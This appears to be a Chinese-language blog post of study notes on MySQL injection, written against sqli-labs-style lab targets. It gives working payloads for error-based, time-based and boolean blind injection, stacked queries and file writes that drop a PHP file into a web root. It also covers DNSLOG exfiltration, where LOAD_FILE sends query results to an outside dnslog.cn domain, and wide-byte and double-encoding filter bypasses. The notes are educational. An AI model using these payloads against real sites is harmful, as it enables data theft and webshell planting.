mysql注入-一般方法篇

一个很久之前学习mysql注入的笔记

(1)增删改查语句

  1. Insert : insert into mrkaixin values( ' 1’ , ' nepnep');

  2. Delete : delete from mrkaixin where xXXX;

  3. Update : update mrkaixin set name = 'x’ where id = 3;

  4. Select : select * from mrkaixin:

    (2)Mysql的常用的变量(函数)

  5. Database() /查看当前数据库名
    2.User() 1/用户
    3.Version() / mysql 版本
    4.@@basedir /安装路径

    (3)Mysql的常用的符号逻辑运算符:

    1.& and
    2.ll or
    3.xor

    Mysql的常用的函数

    字符串截取函数

    ·Substr(截取的原字符串:database(),截取的开始位置:1,截取长度:1)
    Substring
    ·Mid(database(),1,1)
    ·Left(database(),1)
    ·right(database(),1)

    编码函数

    Ascii()
    Hex()z
    ord()
    Char()/ascii()的逆函数

    文件函数

    Load_file()/读取文件内容

  6. 连接数据库:D:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql -h127.0.0.1 -p8090 -u root -p123456

  7. 查询mysql版本

  8. 查询当前用户名

  9. 查询所有库名

  10. 使用数据库

  11. 查询当前库名

  12. 查询数据库所有表名

  13. 查询表中所有内容

  14. 查询表中指定内容

  15. 创建库

  16. 创建表(同时要声明表的内容字段)

  17. 在表中新增(插入数据内容)

  18. 修改表里的数据内容

  19. 查询表里的数据结构和字段的类型

describe(select * from animal);

  1. 删除数据

  2. 常见注释符:
    %23(#),--+,;%00

  3. 报错注入
    Tips:报错有长度限制32位(通过substring等截取字符段分开多次注入即可得到全部内容)
    updatexml更新xml文档
    正规的使用:Select from users where id =1 and updatexml(文档,正确的路径 ,更新的内容)
    示例:Select
    from users where id =1 and updatexml(0x0a,(select database()),’1’)
    原理:将报错的内容改为要输出的内容
    注:0x0a表示换行,0x7e表示~

Extractvalue:对xml文档进行查询
语法:extractvalue(文档类型,xpath路径)

  1. 时间盲注
    法一:sleep()---------------------------------------------------------------------------------
    示例:Select * from users and if(ascaii(substr(database())<1,1,1),sleep(3),0)
    Tips:if(expr1,expr2,expr3)语句作用为如果expre1为真则返回expr2,为假返回expr3
    原理:将要测试的内容条件作为expr1,如果为真就会有延时,为假就不延时,是否延时可以在burp的repeater右下角看到返回时间判断
    例如示例作用为判断库名第一个字母ascaii值,可以通过返回结果逐个判断得到完整的库名
    法二:-benchmark()--------------------------------------------------------------------------
    示例:Select benchmark(1000000000,sha(1));
    原理:通过执行大量次数的操作造成延时,示例效果为执行1000000000次sha(1)命令造成延时,可以作为返回的判断效果
    法三:笛卡尔积---------------------------------------------------------------------------------

  2. 布尔盲注

  3. 示例:Select * from users and (ascaii(substr(database())<1,1,1))
    作用:根据返回结果的差异判断条件是否满足,作用效果和上面的时间盲注示例一样

  4. 堆叠注入
    示例1(在mysql里面):select from users and select from animal;
    结果:只返回一个结果
    示例2(在mysql里面):select from users;select from animal;
    结果:返回两个结果
    可以使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第一关

不能使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第三十八关

区别:mysqli_query和mysqli_mutil_query

  1. 文件读写

    Tips:默认情况下mysql是不允许文件读写的,要修改配置文件

  2. 打开phpstudy的设置板块,选择配置文件,点击进入
    在配置文件[mysqld]里面加入:secure-file-priv=Null(或去掉NULL直接留空)
  3. 重启mysql导入配置

    读取文件操作(mysql里面):load_file(‘文件路径’)
    示例:load_file(“D:\temp\1.txt”)

写文件操作(mysqlsql里面):
Into outfile ‘绝对路径’
Into dumpfile ‘绝对路径’
区别:into outfile函数会在末端写入新行而且会转义字符,所以用into outfile写一些dll或其他二进制文件,那么这个文件可能会被破坏
可以用into dumpfile导出一个完整能执行的二进制文件
使用条件:1.设置好了配置文件secure-file-priv=Null

  1. 使用绝对路径
  2. 文件不存在
  3. 有权限
    示例:…../?id=1’ union select 1,database(),3 into outfile(或者dumpfile) “D:\1.txt”#
    效果:得到的内容会写入输出到新建的D:\1.txt文件里面

    写shell
    如果知道web服务器路径,我们可以写入shell
    示例:/?id=-1' union select 1,’<?php phpinfo(); ?>',3 into OUTFILE "H.1phpstudy.prolWWW\cms\Sali.Edited..Version\sqlilabs\Less-7\lshell.php"--+
    效果:将php信息全部写入到指定的文件里
    23.DNSLOG
    UNC路径----------------------------------------------------------------------------------------
    格式:\servername\sharename
    Servename为服务器名,sharename为共享资源名称
    UNC路径使用方法测试------------------------------------------------------------------------
    在Win+R窗口输入一个UNC路径(一个文件名):\要传输的内容.DNSLOG获得的域名\abc
    或者:在CMD窗口输入:ping \要传输的内容.DNSLOG获得的域名\abc’
    然后在DNSLOG平台刷新获取记录就可以看到:传输的内容.DNSLOG获得的域名
    原理:根据此原理,用load_file ’构造好的文件名’尝试打开一个指定构造的UNC文件即可在DNSLOG平台看到传输的内容


第一步:打开DNSLOG平台获得一个域名
第二步:用load_file ’文件路径’读取一个文件名为:\要传输的内容.DNSLOG获得的域名\abc的文件
操作示例:select * from users load_file ‘\test.DNSLOG获得的域名\abc’

示例:http:/localhost/Less-38/?id=-1; select 1,2,LOAD_FILE(GROUP_CONCAT(‘\\’,substr(user(),2,1),’7jto34.dnslog.cn\abc');-+
解释:GROUP_CONCAT(‘\\’,substr(user(),2,1),’.7jto34.dnslog.cn\abc'))的作用是合成一个字符串’\o.7jto34.dnslog.cn\abc’
原因:’\\’表示两个解除转义的’\’,其中user()为root,substr(要截取的字符 串:root,开始位置:2,截取长度:1)函数运行后截取root的第2个字符’o’,’ 7jto34.dnslog.cn’为DNSLOG平台获得的域名

  1. 宽字节注入
    条件:sql注入解析使用的是gbk编码,utf-8不行
    代码分析:
    addslashes函数将会在一些危险字符(包括’和#)面前加入一个反斜杠\
    传入sql注入语句为gbk参数可用宽字节注入
    难点:
    要闭合单引号,但是传入的单引号会被加一个\从而变成一个字符失去闭合效果
    Payload:?id=%df%27
    payload分析:%27为单引号所以addslashes函数会在%27前面加一个\得%df\%27
    \的url编码为%5c编码后得到%df%5c%27
    %df%5c解码后会得到一个繁体字的运 ,从而%27单引号逃逸出来,变成运’

  2. 二次编码注入
    前提知识:

  3. mysql_real_escape_string(string, connection)函数会在[\x00],[\n],[\r],[],[’],[”],[\x1a]这七个字符出现的前面加一个反斜杠\
    绕过Tips注:想要绕过这个函数,在linux下的mysql表明列名是忽略大小写的但是账号密码区分大小写,当为登录类型的注入是,password和username都是列名,可以忽略大小写,利用这点绕过mysql_real_escape_string函数;或者当存在二次编码时可利用像例题一样的方式绕过
    2.urldecode()函数会将参数进行url解码

Payload中%2527不在escape函数排查的字符里面,而%25解码后得到的就是%所以%2527变成%27,是一个单引号’

  1. SQL注入总结的平台
  2. 无列名注入(知道库名表名即可)
    错误:mysql> select 1,(select group_concat(1) from(select 1,2,3 union select from test.animal)x);
    正确:mysql> select 1,(select group_concat(a) from(select 1 as a,2 as b,3 union select
    from test.animal)x);
    正确:mysql> select 1,(select group_concat(‘1’) from(select 1,2,3 union select * from test.animal)x);

贴一张来自https://blog.csdn.net/Fly_hps/article/details/80646151 的注入导图:

图片.png

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇